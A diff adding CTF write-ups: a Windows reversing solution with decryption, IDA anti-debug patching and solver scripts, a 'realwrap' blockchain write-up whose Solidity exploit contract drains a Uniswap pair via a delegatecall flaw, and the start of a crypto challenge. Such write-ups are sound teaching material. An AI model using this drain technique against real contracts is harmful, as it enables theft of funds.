+Char('.'),
+Obj,
+TTrue,
+Obj,
+Char(52),
+Arr,
+N,
+Obj,
+Num(843),
+Arr,
+TTrue,
+Obj,
+Num(3049),
+Obj,
+TTrue,
+Obj,
+N,
+Arr,
+Char(91),
+Obj,
+Num(1117),
+Arr,
+N,
+Obj,
+N,
+Obj,
+Char('Z'),
+Obj,
+Char(','),
+Obj,
+N,
+Obj,
+N,
+Arr,
+N,
+Arr,
+Num(3565),
+Arr,
+Char(':'),
+Arr,
+TTrue,
+Arr,
+N,
+Obj,
+Char(';'),
+Obj,
+TFalse,
+Obj,
+N,
+Obj,
+N,
+Obj,
+N,
+Arr,
+Char(54),
+Obj,
+TTrue,
+Obj,
+N,
+Arr,
+Num(319),
+Arr,
+TFalse,
+Obj,
+TTrue,
+Obj,
+N,
+Arr,
+N,
+Obj,
+N,
+Arr,
+Char('>'),
+Obj,
+Char(84),
+Obj,
+N,
+Obj,
+TFalse,
+Obj,
+Char('<'),
+Arr,
+N,
+Obj,
+N,
+Obj,
+Char('Z'),
+Obj,
+Char(','),
+Obj,
+N,
+Obj,
+TFalse,
+Arr,
+Char('L'),
+Arr,
+Num(3628),
+Arr,
+Char(77),
+Obj,
+Num(2734),
+Arr,
+N,
+Obj,
+Char(41),
+Obj,
+Num(2005),
+Obj,
+Char('D'),
+Obj,
+N,
+Arr,
+Char(38),
+Arr,
+Char(92),
+Arr,
+N,
+Obj,
+Num(374),
+Obj,
+Num(2328),
+Obj,
+TTrue
+]
+res = encode(CURRENT)
+
+print(res)
+
+with open("sol.json", "w") as f:
+    f.write(decode(res))
+
+
+def test_bs():
+    enc = BS(b"ASDFasdf")
+    stuff = []
+    while enc.avail > 0:
+        mx = 12
+        if mx > enc.avail:
+            mx = enc.avail
+        bits = random.randint(1, mx)
+        val = enc.get_bits(bits)
+        stuff.append((bits, val))
+
+    print(stuff)
+
+    dec = BitStream()
+    for bits, val in stuff:
+        dec.write_bits(val, bits)
+
+    print(dec.bs)
+
+
+ + + + + + +
+
+
+ + + + + + +
+ + diff --git a/pbctf2021/rev/catharsis.md b/pbctf2021/rev/catharsis.md new file mode 100755 index 0000000..683c743 --- /dev/null +++ b/pbctf2021/rev/catharsis.md @@ -0,0 +1,758 @@ +# catharsis + +**Authors:** [Leonardo Galli](https://twitter.com/galli_leo_) + +**Tags:** rev, cts, windows + +**Points:** 420 + +> hgarrereyn said he would rage quit if I made a windows rev so Have fun! Consider this my catharsis from reversing genshin impact + +**Note:** This write up is cut short, because I did not have enough time to properly finish it before the week deadline :( + +The description already promised tons of fun and definitely no italian cursing. +Opening the binary in IDA of course further confirmed my suspicion: This was just an elaborate trolling attempt by fellow CTF "player" cts. + +![funny_functions](./fns.png) + +Deciding that I should maybe do some dynamic analysis as well, I booted up my Windows VM. +Always helpful, Windows in turn decided it was time to install some updates (on a VM image from them directly, intended for developers) + +![fml](./windows.png) + +Now that we are done setting up our environment, let me give you an overview of the challenge and how much time I spent solving the different parts: + +| Description | Time Spent | +|--------------|------------| +| Get Windows VM into a working state | 1h | +| Figure out most of text is encrypted | 10 min | +| Decrypting most of text | 20 min | +| Finding the actual main function | 5h | +| Needlessly reverse C++ STL code | 2h | +| Figure out what exception handling does | 30 min | +| Making main readable by patching anti debugging with nops | 20 min | +| Figuring out that main constructs a JSON object based on flag | 30 min | +| Dump constraints and write solve script | 1h | +| Debug why solve script is slightly off | 2h | + +I continued with some static analysis and noticed two exception handlers being installed. +The first is more complicated and will be discussed later. +The second seems to use some decryption scheme. +Seeing as most of the text section was just gibberish in IDA, I deduced that most of text was encrypted. +Using a quick decryption script, I created a binary that was hopefully mostly decrypted. +(Of course it was not that simple in actuality, I spent most of the time needlessly complicating things, by only decrypting pages I was sure where encrypted, instead of just doing most of them directly.) +Said decryption script: + +```python +import os +import sys +from pwn import * + +def decrypt(page: bytes, vaddr) -> bytes: + ret = b"" + for i in range(0x1000 // 8): + val = page[8*i:8*(i+1)] + val = u64(val) + key = vaddr ^ ((~i) & 0xffffffffffffffff) + res = (val ^ key) & 0xffffffffffffffff + ret += p64(res) + vaddr += 8 + return ret + +inf = "bingus.exe" +outf = "bingus.dec.exe" +data = b"" +with open(inf, "rb") as f: + data = f.read() + +head = data[:0x400] +data = data[0x400:] +dec_data = head +DEC_PAGES = list(range(0x01000, 0x53000, 0x1000)) +BASE = 0x140000000 + +max_page = len(data) // 0x1000 +last_off = 0 +for page in range(max_page): + off = page*0x1000 + page_data = data[off:off+0x1000] + vaddr = BASE + off + 0x1000 + if off+0x1000 in DEC_PAGES: + log.info("Decrypting at 0x%x", off) + page_data = decrypt(page_data, vaddr) + dec_data += page_data + last_off = off+0x1000 + +dec_data += data[last_off:] + +print(hex(dec_data[PATCH_NOP]), hex(PATCH_NOP)) + +with open(outf, "wb") as f: + f.write(dec_data) + +with open("bingus.final.exe", "wb") as f: + f.write(dec_data) +``` + +However, I got got when trying to search for the main function. +I stumbled upon a small function pretty quickly that could have been main, if it were not for the halt immediately in there. +I found the string `'Enter your flag: '` pretty quickly, but no references. +Thinking this was just some windows bullshittery going on, I pressed on and waded through way too many CRT functions in hopes of finding main that way somehow. +In the end, I somehow went back to the function with the halt and actually looked at the disassembly. To my surprise, immediately after the halt, there was a reference to the aforementioned string and I had just uncovered the main function. + +After some almost useless C++ STL reversing, I had also finally figured out the purpose of the first exception handler. +It basically acts like some kind of syscall/hvcall thingy magig. +In short, the following happens inside there: + +- If current exception is `Privileged Instruction (0xC0000096)` and current instruction is `halt (0xf4)`, then: + - If did_init = False, then insert halt at the beginning of `HeapAlloc`, `HeapFree` and two more functions, let's dub them `cringe` and `more_cringe`. The original byte at the location the halt was inserted was saved in an `std::unordered_map`. + - Otherwise, it would try to find the address of rip in the aforementioned hashmap. If it was found, another function responsible for executing the actual ``syscall'' was called. Depending on what the current instruction pointer is, different things happen, see below. Finally, the original byte is put back, current rip is saved and the processor is single stepped. +- If current exception is `Access Violation (0xC0000005)`, try to find the (page aligned) address inside our other `std::unordered_map`. If found, map a page at the requested address, decrypt the "backing" store to the newly mapped page, save the faulting address to a global and finally single step. +- If the current exception is due to single stepping `(0x80000004)`, check whether the current address was saved by handler of `0xC0000096` or `0xC0000005`. + - If saved by `0xC0000096`, restore the halt instruction and continue execution. + - If saved by `0xC0000005`, encrypt the contents of the just mapped page, save it back to the "backing" store and free the mapped page. Then continue execution. + +The syscalls are as follows: + +| RIP (Function Name) | Description | +|----|----| +| `HeapAlloc` | Modifies heap allocation as follows: We allocate pages instead of stuff on the actual heap. However, we then return an offset from 0 as the address where allocation was done. The address offset from 0 is later translated to the actual allocated page in the above exception handler. This way the backing memory is actually encrypted. The mapping between address offset from 0 and actual page is kept inside another `std::unordered_map` | +| `HeapFree` | Not implemented. | +| `cringe` | Basically just: `return !a1` | +| `more_cringe` | Basically just: `some_global += 0x123; return some_global;` | + +Since we don't need to keep the encrypted memory and we just ignore the `cringe` and `more_cringe` functions for now, I just patched out any halts from the binary. +Furthermore, the binary also had a bunch of anti debug and anti vm code, like the following in it: +```c +v33 = 10000i64; +v34 = __rdtsc(); +do +{ + _RAX = 1i64; + __asm { cpuid } + v52 = __PAIR64__(_RBX, _RAX); + v53 = _RCX; + v54 = _RDX; + --v33; +} +while ( v33 ); +v40 = __rdtsc(); +v41 = v40 - v34; +if ( (__int64)(v40 - v34) < 0 ) +{ + v43 = v41 & 1 | ((v40 - v34) >> 1); + v42 = (float)(int)v43 + (float)(int)v43; +} +else +{ + v42 = (float)v41; +} +if ( (float)(v42 / 10000.0) < 250.0 ) + break; +if ( ++v32 >= 5 ) +{ + memset((void *)((unsigned __int64)v51 & 0xFFFFFFFFFFFFF000ui64), 255, 0xFFFFFFFFFFFFui64); + __debugbreak(); +} +``` +So I also patched out those things. +The script to do the patching can be seen below: +```python +import idaapi +import ida_ua +import ida_funcs +import ida_bytes +import ida_allins +import idautils + +MAIN_ADDR = 0x140003110 + +MAIN_END_ADDR = 0x1400174E6 + +JUST_FYI = 0x140056230 + +SOME_TIME_ADDR = 0x140071EE8 + +def info(conts): + print(f"[*] {conts}") + # idaapi.msg(f"[*] {conts}") + +def dec_insn(addr) -> idaapi.insn_t: + tmp = idaapi.insn_t() + l = ida_ua.decode_insn(tmp, addr) + return tmp + +curr = MAIN_ADDR + +info(f"Starting flow from @ 0x{curr:x}") + +ret_insn = dec_insn(MAIN_END_ADDR) + +info(f"Ret type: {ret_insn.itype}") + +POSS_RETS = [ida_allins.IA64_ret, ida_allins.I960_ret, ida_allins.I196_ret, ida_allins.NN_retn] +info(f"Poss rets: {POSS_RETS}") + +NOP_PATTERNS = [ + "E8 64 2C 05 00", # call just fyi + "83 F8 03 7C 2A 8B 04 24 48 83 EC 10 48 8D 4C 24 30 8B 01 48 81 E1 00 F0 FF FF BA FF 00 00 00 49 B8 FF FF FF FF FF FF 00 00 E8 5A D5 02 00 CC" # haha got you +] + +# flow through instructions +# while curr != idaapi.BADADDR and curr <= MAIN_END_ADDR: + # flags = ida_bytes.get_flags(curr) + # if (flags & ida_bytes.FF_CODE) == 0: + # ret = idaapi.create_insn(curr) + # if ret == 0: + # info(f"Failed to create instr @ 0x{curr:x}") + # print("not marked as code!") + # ins = dec_insn(curr) + # if ins.itype == idaapi.NN_call: + # call_addr = ins.Op1.addr + # if call_addr == JUST_FYI: + # patch = b"\x48\x31\xc0" + # patch = patch.ljust(ins.size, b"\x90") + # ida_bytes.patch_bytes(curr, patch) + # if ins.itype == idaapi.NN_retn: + # info(f"Encountered ret @ 0x{curr:x}") + # break + # if ins.itype == ida_allins.NN_hlt: + # info(f"Encountered hlt @ 0x{curr:x}") + # # patch hlt to nop, should hopefully work? + # idaapi.patch_byte(curr, 0x90) + # update curr + # curr += ins.size + +def find_pat(patt): + curr = MAIN_ADDR + while True: + out = ida_bytes.compiled_binpat_vec_t() + ida_bytes.parse_binpat_str(out, curr, patt, 16) + curr = ida_bytes.bin_search(curr, MAIN_END_ADDR, out, ida_bytes.BIN_SEARCH_FORWARD | ida_bytes.BIN_SEARCH_CASE) + if curr == idaapi.BADADDR: + break + yield curr + curr += 1 + + +import binascii + +def nop_pattern(patt): + info(f"nopping pattern {patt}") + curr = MAIN_ADDR + patt_b = binascii.unhexlify(patt.replace("?", "00").replace(" ", "")) + while True: + out = ida_bytes.compiled_binpat_vec_t() + ida_bytes.parse_binpat_str(out, curr, patt, 16) + curr = ida_bytes.bin_search(curr, MAIN_END_ADDR, out, ida_bytes.BIN_SEARCH_FORWARD | ida_bytes.BIN_SEARCH_CASE) + if curr == idaapi.BADADDR: + break + patch_size = len(patt_b) + for off in range(patch_size): + ida_bytes.patch_byte(curr + off, 0x90) + +# for pat in NOP_PATTERNS: +# nop_pattern(pat) + +first_marker = "0F 31 48 C1 E2 20 48 0B C2" +pattern_start_act = binascii.unhexlify("488B068B0C07") + +for first_addr in find_pat(first_marker): + info(f"Found marker @ 0x{first_addr:x}") + unique_addr = first_addr + 0x10 + cmp_insn = dec_insn(unique_addr) + if cmp_insn.itype == ida_allins.NN_cmp and cmp_insn.Op2.value == 0x5F5E100: + info(f"Found compare, looking gucci") + pattern_start = first_addr - 0x3f + start_bs = ida_bytes.get_bytes(pattern_start, len(pattern_start_act)) + if pattern_start_act == start_bs: + info(f"Found start, looking very good") + end_addr = first_addr + 0x5e + end_insn = dec_insn(end_addr) + act_end_addr = end_addr + end_insn.size + if end_insn.itype == ida_allins.NN_mov and end_insn.Op1.addr == SOME_TIME_ADDR: + info("yep we gucci here!") + # patch everything in between with nops! + num_bytes = act_end_addr - pattern_start + ida_bytes.patch_bytes(pattern_start, b"\x90"*num_bytes) +``` + +After all of that, the basic idea behind the main function became pretty clear. +It converts the input (flag) into a bitstream, iterates over the bitstream to create a json object. +Then it asserts a bunch of constraints on the object. +A python version of the conversion can be found below: +```python +import sys +import binascii +import os +from pwn import * +import json + +class Typ: + Num = 0 + Null = 1 + Bool = 2 + Char = 3 + +class BitStream: + def __init__(self, bs: bytes): + self.bs = bs + self.bytes = "" + for b in bs: + self.bytes += bin(b)[2:].rjust(8, "0") + + @property + def avail(self) -> int: + return len(self.bytes) + + def _get_bits(self, n: int) -> str: + head = self.bytes[:n] + log.debug("head: %s", head) + self.bytes = self.bytes[n:] + return head + + def get_bits(self, n: int) -> int: + assert(n <= self.avail) + head = self._get_bits(n) + head = head[::-1] + return int(head, 2) + +def decode(flag: bytes) -> str: + bs = BitStream(flag) + prev = None + curr = None + while bs.avail >= 15: + typ = bs.get_bits(2) + if typ == Typ.Num: + num = bs.get_bits(12) + log.info("Num %d", num) + curr = num + if typ == Typ.Null: + log.info("Null") + curr = None + if typ == Typ.Bool: + val = bs.get_bits(1) == 1 + log.info("Bool: %s", val) + curr = val + if typ == Typ.Char: + val = bs.get_bits(6) + car = chr(32 + val) + log.info("Char: %s", car) + curr = car + idk = bs.get_bits(1) + if idk == 1: + key = json.dumps(curr) + prev = {key: prev} + log.info("Dict") + else: + log.info("Arr") + prev = [prev, curr] + return json.dumps(prev, indent=4) + +def main(): + flag = input("Enter your flag: ").strip() + + log.info("Done with initial: \n%s", decode(flag.encode())) +if __name__ == "__main__": + main() +``` + +With all that figured out, I had to somehow get the constraints out of the binary, into a useable form. +Luckily, the constraints had very simple patterns, so I just copied the decompilation of the main function and ran some regexes across it. +The script for extracting constraints and the final solving can be seen below: + +```python +import os +import sys +from pwn import * +import re + +outf = "check_simple.txt" +inf = "check.cpp" + +TYP_CHECK = re.compile(r"!is_(?P(object|int|string|array|bool|null))", re.IGNORECASE) +SIZE_CHECK = re.compile(r"get_size\(.*\).*(?P\d)", re.IGNORECASE) +STR_DEST = "std::string::~string" +CMP_CHECK = re.compile(r"!= (?P(.){2,4}) ", re.IGNORECASE) +GLOB_CHECK = re.compile(r"inc_and_ret_shitty_global\((?P\d+).*\)", re.IGNORECASE) +BOOL_CHECK = re.compile(r"check_rcx_is_0\((?P\d+).{0,2}\)", re.IGNORECASE) + + +lines = [] +with open(inf) as f: + lines = f.readlines() + +out = [] + +direct = [] + +mapping = { + "object": "Obj", + "array": "Arr", +} + +typ = None +next_line_str = False +shitty_global = 0xabc +inc = 0x123 +flip = 0 +for line in lines: + m = TYP_CHECK.search(line) + sm = SIZE_CHECK.search(line) + gm = GLOB_CHECK.search(line) + bm = BOOL_CHECK.search(line) + if m is not None: + typ = m.group('typ') + if typ == "object" or typ == "array": + direct.append(mapping[typ]) + out.append("") + if typ == "null": + direct.append("N") + out.append(f"typ == {typ}") + elif sm is not None: + out.append(f"size == {sm.group('size')}") + elif STR_DEST in line: + next_line_str = True + elif next_line_str: + next_line_str = False + cm = CMP_CHECK.search(line) + out.append(f"char == {cm.group('cmp')}") + direct.append(f"Char({cm.group('cmp')})") + elif gm is not None: + inp = int(gm.group('in')) + shitty_global += inc + diff = (inp - shitty_global) % 0x1000 + out.append(f"num {diff}") + direct.append(f"Num({diff})") + elif bm is not None: + inp = int(bm.group('in')) + inp = inp ^ 1 + if inp == 1: + out.append(f"True") + direct.append(f"TTrue") + else: + out.append(f"False") + direct.append(f"TFalse") + + +with open(outf, "w") as f: + f.write("\n".join(out)) + +print("[") +print(",\n".join(direct)) +print("]") +``` + +```python +import os +import sys +from typing import List, Tuple +from pwn import * +from decomp import BitStream as BS +from decomp import Typ +from decomp import decode +import random + +class BitStream: + def __init__(self) -> None: + self.bytes = "" + + def write_bits(self, val, n): + s = bin(val)[2:] + s = s.rjust(n, "0") + s = s[::-1] + self.bytes += s + + @property + def bs(self): + ret = b"" + for off in range(0, len(self.bytes), 8): + val = self.bytes[off:off+8] + val = val.ljust(8, "0") + b = int(val, 2) + ret += bytes([b]) + return ret + +class Tok: + typ: int = 0 + + def __init__(self, val) -> None: + self.val = val + + def enc(self) -> Tuple[int, int]: + if self.val == 1: + return (1, 1) + return (1, 0) + +Obj = Tok(1) +Arr = Tok(0) + +class Num(Tok): + typ = Typ.Num + + def enc(self) -> Tuple[int, int]: + return (12, self.val) + +class Null(Tok): + typ = Typ.Null + def enc(self) -> Tuple[int, int]: + return (0, 0) + +N = Null(0) + +class Bool(Tok): + typ = Typ.Bool + + def enc(self) -> Tuple[int, int]: + return (1, 1 if self.val else 0) + +TTrue = Bool(1) +TFalse = Bool(0) + +class Char(Tok): + typ = Typ.Char + def __init__(self, val) -> None: + self.val = val + if isinstance(val, str): + self.val = ord(val) + self.val = self.val - 32 + def enc(self) -> Tuple[int, int]: + return (6, self.val) + + +def encode(tokens: List[Tok]) -> bytes: + tokens.reverse() + b = BitStream() + for tok in tokens: + if not type(tok) is Tok: + val = tok.typ + b.write_bits(val, 2) + bits, val = tok.enc() + if bits == 0: + continue + b.write_bits(val, bits) + log.info("bs: %s", b.bytes) + log.info("bs: %s", b.bytes) + return b.bs + + +CURRENT = [ +Arr, +Char('K'), +Obj, +N, +Obj, +Char('6'), +Arr, +N, +Arr, +Num(2666), +Obj, +Num(2156), +Obj, +Num(2650), +Arr, +Num(1849), +Obj, +TTrue, +Arr, +Char('L'), +Arr, +N, +Obj, +Num(2179), +Arr, +TTrue, +Arr, +N, +Arr, +Num(360), +Obj, +Char('$'), +Arr, +N, +Arr, +N, +Obj, +Char(74), +Arr, +Num(1045), +Arr, +Num(2504), +Obj, +Char(50), +Obj, +Char('L'), +Obj, +TFalse, +Arr, +TTrue, +Obj, +N, +Arr, +N, +Arr, +Num(3129), +Arr, +Num(3110), +Arr, +TFalse, +Obj, +N, +Obj, +Char('2'), +Obj, +Num(3387), +Obj, +Char('.'), +Obj, +TTrue, +Obj, +Char(52), +Arr, +N, +Obj, +Num(843), +Arr, +TTrue, +Obj, +Num(3049), +Obj, +TTrue, +Obj, +N, +Arr, +Char(91), +Obj, +Num(1117), +Arr, +N, +Obj, +N, +Obj, +Char('Z'), +Obj, +Char(','), +Obj, +N, +Obj, +N, +Arr, +N, +Arr, +Num(3565), +Arr, +Char(':'), +Arr, +TTrue, +Arr, +N, +Obj, +Char(';'), +Obj, +TFalse, +Obj, +N, +Obj, +N, +Obj, +N, +Arr, +Char(54), +Obj, +TTrue, +Obj, +N, +Arr, +Num(319), +Arr, +TFalse, +Obj, +TTrue, +Obj, +N, +Arr, +N, +Obj, +N, +Arr, +Char('>'), +Obj, +Char(84), +Obj, +N, +Obj, +TFalse, +Obj, +Char('<'), +Arr, +N, +Obj, +N, +Obj, +Char('Z'), +Obj, +Char(','), +Obj, +N, +Obj, +TFalse, +Arr, +Char('L'), +Arr, +Num(3628), +Arr, +Char(77), +Obj, +Num(2734), +Arr, +N, +Obj, +Char(41), +Obj, +Num(2005), +Obj, +Char('D'), +Obj, +N, +Arr, +Char(38), +Arr, +Char(92), +Arr, +N, +Obj, +Num(374), +Obj, +Num(2328), +Obj, +TTrue +] +res = encode(CURRENT) + +print(res) + +with open("sol.json", "w") as f: + f.write(decode(res)) + + +def test_bs(): + enc = BS(b"ASDFasdf") + stuff = [] + while enc.avail > 0: + mx = 12 + if mx > enc.avail: + mx = enc.avail + bits = random.randint(1, mx) + val = enc.get_bits(bits) + stuff.append((bits, val)) + + print(stuff) + + dec = BitStream() + for bits, val in stuff: + dec.write_bits(val, bits) + + print(dec.bs) + +``` \ No newline at end of file diff --git a/pbctf2021/rev/fns.png b/pbctf2021/rev/fns.png new file mode 100755 index 0000000..0fd4c35 Binary files /dev/null and b/pbctf2021/rev/fns.png differ diff --git a/pbctf2021/rev/windows.png b/pbctf2021/rev/windows.png new file mode 100755 index 0000000..918c71d Binary files /dev/null and b/pbctf2021/rev/windows.png differ diff --git a/rwctf-2023/blockchain/realwrap.html b/rwctf-2023/blockchain/realwrap.html new file mode 100755 index 0000000..ce59563 --- /dev/null +++ b/rwctf-2023/blockchain/realwrap.html @@ -0,0 +1,316 @@ + + + + + +realwrap | Organisers + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+

realwrap

+ +

Authors: sam.ninja

+ +

Tags: blockchain

+ +
+

WETH on Ethereum is too cumbersome! I’ll show you what is real Wrapped ETH by utilizing precompiled contract, it works like a charm especially when exchanging ETH in a swap pair. And most important, IT IS VERY SECURE!

+
+ +

In this challenge there is a UniswapV2Pair contract that allows us to swap between “precompiled” WETH and a simple ECR20 token. The goal is to drain the reserve of the Uniswap contract.

+ +
import "./@openzeppelin/contracts/token/ERC20/ERC20.sol";
+import "./@openzeppelin/contracts/token/ERC20/IERC20.sol";
+import "./UniswapV2Pair.sol";
+
+contract SimpleToken is ERC20 {
+    constructor(uint256 _initialSupply) ERC20("SimpleToken", "SPT") {
+        _mint(msg.sender, _initialSupply);
+    }
+}
+
+contract Factory {
+    address public constant WETH = 0x0000000000000000000000000000000000004eA1;
+    address public uniswapV2Pair;
+
+    constructor() payable {
+        require(msg.value == 1 ether);
+        address token = address(new SimpleToken(10 ** 8 * 1 ether));
+        uniswapV2Pair = createPair(WETH, token);
+        IERC20(WETH).transfer(uniswapV2Pair, 1 ether);
+        IERC20(token).transfer(uniswapV2Pair, 100 ether);
+        IUniswapV2Pair(uniswapV2Pair).mint(msg.sender);
+    }
+
+    // [...]
+
+    function isSolved() public view returns (bool) {
+        (uint256 reserve0, uint256 reserve1, ) = IUniswapV2Pair(uniswapV2Pair)
+            .getReserves();
+        return reserve0 == 0 && reserve1 == 0;
+    }
+}
+
+ +

The Uniswap contract itself is not vulnerable but they have patched geth to implement a WETH contract directly in the EVM. In the patch, they introduced a vulnerability in the implementation of DelegateCall.

+ +

If the Uniswap contract calls our contract, we can make a delegatecall to the WETH contract and the caller passed to the Run function will be the Uniswap contract that we want to drain.

+ +
func (evm *EVM) DelegateCall(caller ContractRef, addr common.Address, input []byte, gas uint64) (ret []byte, leftOverGas uint64, err error) {
+    // [...]
+
+	// Initialise a new contract and make initialise the delegate values
+	contract := NewContract(caller, AccountRef(caller.Address()), nil, gas).AsDelegate()
+	// It is allowed to call precompiles, even via delegatecall
+	if p, isPrecompile := evm.precompile(addr); isPrecompile {
+		ret, gas, err = p.Run(evm, contract.Caller(), input, gas, evm.interpreter.readOnly)
+	}
+    // [...]
+}
+
+ +

UniswapV2 supports flash swaps so we can use this to make it call a uniswapV2Call function in our contract. In this function, we can do a delegatecall to the WETH.approve to approve our contract to spend all its WETH.

+ +

We cannot do the same for the ERC20 token because it is not a precompiled contract but WETH has a function transferAndCall that allows us to call token.approve on behalf on the Uniswap contract.

+ +

Here is the exploit contract:

+
pragma solidity ^0.8.17;
+
+import "./@openzeppelin/contracts/token/ERC20/IERC20.sol";
+import "./UniswapV2Pair.sol";
+
+contract Exploit {
+    address public constant WETH = 0x0000000000000000000000000000000000004eA1;
+    IERC20 public constant WETH_contract = IERC20(WETH);
+    IERC20 token;
+    UniswapV2Pair uniswap;
+
+    constructor(address uniswapV2Pair) {
+        uniswap = UniswapV2Pair(uniswapV2Pair);
+        token = IERC20(uniswap.token1());
+    }
+
+    function exploit() external payable {
+        // Flash swap to make the contract call our uniswapV2Call function
+        uniswap.swap(1, 0, address(this), "1");
+        
+        // We should now be allowed to spend all the WETH and the tokens
+        require(WETH_contract.allowance(address(uniswap), address(this)) == type(uint256).max, "exploit failed for WETH");
+        require(token.allowance(address(uniswap), address(this)) == type(uint256).max, "exploit failed for Token");
+
+        // Drain the contract
+        WETH_contract.transferFrom(address(uniswap), address(this), WETH_contract.balanceOf(address(uniswap)));
+        token.transferFrom(address(uniswap), address(this), token.balanceOf(address(uniswap)));
+
+        // Sync to update the reserve variables
+        uniswap.sync();
+    }
+
+    function uniswapV2Call(
+        address sender,
+        uint256 amount0,
+        uint256 amount1,
+        bytes calldata data
+    ) external {
+        // Payback the flash swap
+        WETH_contract.transfer(address(uniswap), 3);
+
+        // Approve our contract to spend all the WETH
+        (bool success, bytes memory data) = WETH.delegatecall(abi.encodeWithSignature("approve(address,uint256)", address(this), type(uint256).max));
+
+        // Approve our contract to spend all the tokens
+        WETH.delegatecall(abi.encodeWithSignature("transferAndCall(address,uint256,bytes)", address(token), 1, abi.encodeWithSignature("approve(address,uint256)", address(this), type(uint256).max)));
+    }
+}
+
+ + + + + + + +
+
+
+ + + + + + +
+ + diff --git a/rwctf-2023/blockchain/realwrap.md b/rwctf-2023/blockchain/realwrap.md new file mode 100755 index 0000000..0e7ad59 --- /dev/null +++ b/rwctf-2023/blockchain/realwrap.md @@ -0,0 +1,118 @@ +## realwrap + +**Authors**: [sam.ninja](https://sam.ninja) + +**Tags**: blockchain + +> WETH on Ethereum is too cumbersome! I'll show you what is real Wrapped ETH by utilizing precompiled contract, it works like a charm especially when exchanging ETH in a swap pair. And most important, IT IS VERY SECURE! + +In this challenge there is a [UniswapV2Pair](https://github.com/Uniswap/v2-core/blob/master/contracts/UniswapV2Pair.sol) contract that allows us to swap between "precompiled" WETH and a simple ECR20 token. The goal is to drain the reserve of the Uniswap contract. + +```solidity +import "./@openzeppelin/contracts/token/ERC20/ERC20.sol"; +import "./@openzeppelin/contracts/token/ERC20/IERC20.sol"; +import "./UniswapV2Pair.sol"; + +contract SimpleToken is ERC20 { + constructor(uint256 _initialSupply) ERC20("SimpleToken", "SPT") { + _mint(msg.sender, _initialSupply); + } +} + +contract Factory { + address public constant WETH = 0x0000000000000000000000000000000000004eA1; + address public uniswapV2Pair; + + constructor() payable { + require(msg.value == 1 ether); + address token = address(new SimpleToken(10 ** 8 * 1 ether)); + uniswapV2Pair = createPair(WETH, token); + IERC20(WETH).transfer(uniswapV2Pair, 1 ether); + IERC20(token).transfer(uniswapV2Pair, 100 ether); + IUniswapV2Pair(uniswapV2Pair).mint(msg.sender); + } + + // [...] + + function isSolved() public view returns (bool) { + (uint256 reserve0, uint256 reserve1, ) = IUniswapV2Pair(uniswapV2Pair) + .getReserves(); + return reserve0 == 0 && reserve1 == 0; + } +} +``` + +The Uniswap contract itself is not vulnerable but they have patched `geth` to implement a WETH contract directly in the EVM. In the patch, they introduced a vulnerability in the implementation of DelegateCall. + +If the Uniswap contract calls our contract, we can make a `delegatecall` to the WETH contract and the caller passed to the `Run` function will be the Uniswap contract that we want to drain. + +```go +func (evm *EVM) DelegateCall(caller ContractRef, addr common.Address, input []byte, gas uint64) (ret []byte, leftOverGas uint64, err error) { + // [...] + + // Initialise a new contract and make initialise the delegate values + contract := NewContract(caller, AccountRef(caller.Address()), nil, gas).AsDelegate() + // It is allowed to call precompiles, even via delegatecall + if p, isPrecompile := evm.precompile(addr); isPrecompile { + ret, gas, err = p.Run(evm, contract.Caller(), input, gas, evm.interpreter.readOnly) + } + // [...] +} +``` + +UniswapV2 supports [flash swaps](https://docs.uniswap.org/contracts/v2/guides/smart-contract-integration/using-flash-swaps) so we can use this to make it call a `uniswapV2Call` function in our contract. In this function, we can do a delegatecall to the `WETH.approve` to approve our contract to spend all its WETH. + +We cannot do the same for the ERC20 token because it is not a precompiled contract but WETH has a function `transferAndCall` that allows us to call `token.approve` on behalf on the Uniswap contract. + +Here is the exploit contract: +```solidity +pragma solidity ^0.8.17; + +import "./@openzeppelin/contracts/token/ERC20/IERC20.sol"; +import "./UniswapV2Pair.sol"; + +contract Exploit { + address public constant WETH = 0x0000000000000000000000000000000000004eA1; + IERC20 public constant WETH_contract = IERC20(WETH); + IERC20 token; + UniswapV2Pair uniswap; + + constructor(address uniswapV2Pair) { + uniswap = UniswapV2Pair(uniswapV2Pair); + token = IERC20(uniswap.token1()); + } + + function exploit() external payable { + // Flash swap to make the contract call our uniswapV2Call function + uniswap.swap(1, 0, address(this), "1"); + + // We should now be allowed to spend all the WETH and the tokens + require(WETH_contract.allowance(address(uniswap), address(this)) == type(uint256).max, "exploit failed for WETH"); + require(token.allowance(address(uniswap), address(this)) == type(uint256).max, "exploit failed for Token"); + + // Drain the contract + WETH_contract.transferFrom(address(uniswap), address(this), WETH_contract.balanceOf(address(uniswap))); + token.transferFrom(address(uniswap), address(this), token.balanceOf(address(uniswap))); + + // Sync to update the reserve variables + uniswap.sync(); + } + + function uniswapV2Call( + address sender, + uint256 amount0, + uint256 amount1, + bytes calldata data + ) external { + // Payback the flash swap + WETH_contract.transfer(address(uniswap), 3); + + // Approve our contract to spend all the WETH + (bool success, bytes memory data) = WETH.delegatecall(abi.encodeWithSignature("approve(address,uint256)", address(this), type(uint256).max)); + + // Approve our contract to spend all the tokens + WETH.delegatecall(abi.encodeWithSignature("transferAndCall(address,uint256,bytes)", address(token), 1, abi.encodeWithSignature("approve(address,uint256)", address(this), type(uint256).max))); + } +} +``` + diff --git a/rwctf-2023/crypto/0KPR00F.html b/rwctf-2023/crypto/0KPR00F.html new file mode 100755 index 0000000..d30dc36 --- /dev/null +++ b/rwctf-2023/crypto/0KPR00F.html @@ -0,0 +1,409 @@ + + + + + +0KPR00F | Organisers + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
+

0KPR00F

+ +

Author: zeski

+ +

Tags: crypto

+ +

Points: 253

+ +
+

Sh0w me the pr00f that y0u understand 0kpr00f. If its 0k, i’ll give y0u what y0u want!

+
+ +

Challenge source

+

We are given the following source code, along with source code for py_ecc which we can also find here as an ethereum library.

+
#!/usr/bin/env python3
+
+import signal
+import socketserver
+import string
+import os
+from secret import flag
+from py_ecc import bn128
+
+lib = bn128
+FQ, FQ2, FQ12, field_modulus = lib.FQ, lib.FQ2, lib.FQ12, lib.field_modulus
+G1, G2, G12, b, b2, b12, is_inf, is_on_curve, eq, add, double, curve_order, multiply = \
+  lib.G1, lib.G2, lib.G12, lib.b, lib.b2, lib.b12, lib.is_inf, lib.is_on_curve, lib.eq, lib.add, lib.double, lib.curve_order, lib.multiply
+pairing, neg = lib.pairing, lib.neg
+
+LENGTH = 7
+
+
+def Cx(x,length=LENGTH):
+    res = []
+    for i in range(length):
+        res.append(pow(x,i,curve_order) % curve_order)
